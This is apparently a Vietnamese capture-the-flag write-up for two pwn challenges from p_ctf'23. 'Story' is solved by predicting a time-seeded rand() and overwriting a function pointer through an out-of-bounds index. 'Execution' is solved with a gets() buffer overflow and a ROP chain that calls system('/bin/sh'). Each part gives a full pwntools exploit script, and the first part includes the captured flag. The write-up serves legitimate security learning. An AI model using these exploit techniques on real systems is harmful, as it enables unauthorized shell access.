# (writeup) p_ctf'23 ## Story - check file ![](https://i.imgur.com/XiGZisK.png) - check ida ![](https://i.imgur.com/cFUALCd.png) - checksec ![](https://i.imgur.com/2wox8tw.png) - đề bài sẽ nhảy đến hàm **random_check** đầu tiên, yêu cầu ta đoán số 5 lần, nếu số nhập vào giống với ``rand() % 1000`` thì đi tiếp hàm **vuln** - vấn đề là hàm **rand()** là 1 hàm cho 1 số nguyên dương ngẫu nhiên ![](https://i.imgur.com/m9oq6B8.png) - và cũng có hàm **srand()** cũng sinh ra số ngẫu nhiên nhưng có lồng hàm **time()** vào. hàm **time()** là tính từ năm 1900 mấy - lỗi ở đây, ta có thể leak **time()** và khiến cho hàm **check()** thoả mãn ![](https://i.imgur.com/R7XodzF.png) - ta sẽ tính offset ![](https://i.imgur.com/3vvGDNd.png) - kiểm ta **check** ![](https://i.imgur.com/QTkpRwt.png) - thấy rằng hiện tại nó đg trỏ tới **hard_set_wwinner** ``` pointer fun point to check address check point hard_set_winner aim: sub 211 to point easy_set_wwinner ``` ![](https://i.imgur.com/BgArImv.png) - do địa chỉ của **fun** cao hơn **check** nên hướng đi ta cần **fun** trỏ đến **easy_set_winner** ![](https://i.imgur.com/iK6Z6jU.png) - ngoài ra, khi hàm **random_check** đã qua, ta sẽ đến hàm **vuln()** dữ liệu vào khai thác ![](https://i.imgur.com/l1PqXQ6.png) - vì tiến vào trong hàm **easy_set_winner** và yêu cầu tổng byte là 1240: ![](https://i.imgur.com/qADnXup.png) - ta sẽ thử nhập: ![](https://i.imgur.com/k7ur44o.png) - vậy payload của ta là ``abcdefghijkv`` - biến v4 được khai báo là *int*, mà lại nằm trong mảng **fun**, nên ta lấy offset tính được chia cho 4 (int_64 sẽ chia cho 8) ![](https://i.imgur.com/lOWDI0w.png) - script: ```python #!/usr/bin/python3 from pwn import * import random import time from ctypes import * context.binary = exe =ELF('./story',checksec=False) elf = cdll.LoadLibrary("libc.so.6") #p = process(exe.path) p = remote('story.ctf.pragyan.org', 6004) giay = int(time.time() // 60) elf.srand(giay) hard_set_winner = 0x5555555554b4 easy_set_winner = 0x5555555553e1 #offset = 211 fun = 0x555555558040 check = 0x555555558010 #offset = 48 # pointer fun point check, check point hard_set_checker # sub 211 to point easy_set_checker for i in range(0, 4): payload = str(elf.rand() % 1000).encode() p.sendlineafter(b'guess: ',payload) payload = b'abcdefghijkv' p.sendlineafter(b'game ',payload) p.sendlineafter(b'1000: ', b'-12 -211') p.interactive() ``` > p_ctf{s4y_tk_288_dg_st0ry} --- ## Execution - check file + checksec ![](https://hackmd.io/_uploads/r1ZpPp6uh.png) - check ida ![](https://hackmd.io/_uploads/B1aJ_aau2.png) ![](https://hackmd.io/_uploads/SyOWdppO3.png) - có lỗi BOF ở hàm **gets**, có cả function ẩn đi là **date()**, trong func đó có system nhưng system này sẽ cho ta thời gian hiện tại máy chủ, khá vô dụng khi nghĩ đến ret2win - vậy ta lợi dụng hàm system nhưng sẽ thực thi '/bin/sh' thay vì '/bin/date' - ta cần truyền chuỗi '/bin/sh\0' vào 1 vùng nhớ ghi được nào đó thông qua 1 hàm cho ta nhập thêm 1 lần nữa (cụ thể có **gets** thì dùng nó luôn) - đưa vùng nhớ mình ghi vào $rdi - gọi system lên là có shell ![](https://hackmd.io/_uploads/SyWfKaaOh.png) - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./execution',checksec=False) libc = ELF('./libc.so.6',checksec=False) p = process(exe.path) #p = remote('execution.ctf.pragyan.org', 12386) pop_rdi = 0x0000000000400703 rw_section = 0x00000000601a00 payload = b'A'*72 payload += p64(pop_rdi) + p64(rw_section) payload += p64(exe.plt['gets']) payload += p64(pop_rdi) + p64(rw_section) payload += p64(exe.plt['system']) p.sendlineafter(b'program: \n', payload) sleep(1) p.sendline(b'/bin/sh') p.interactive() ```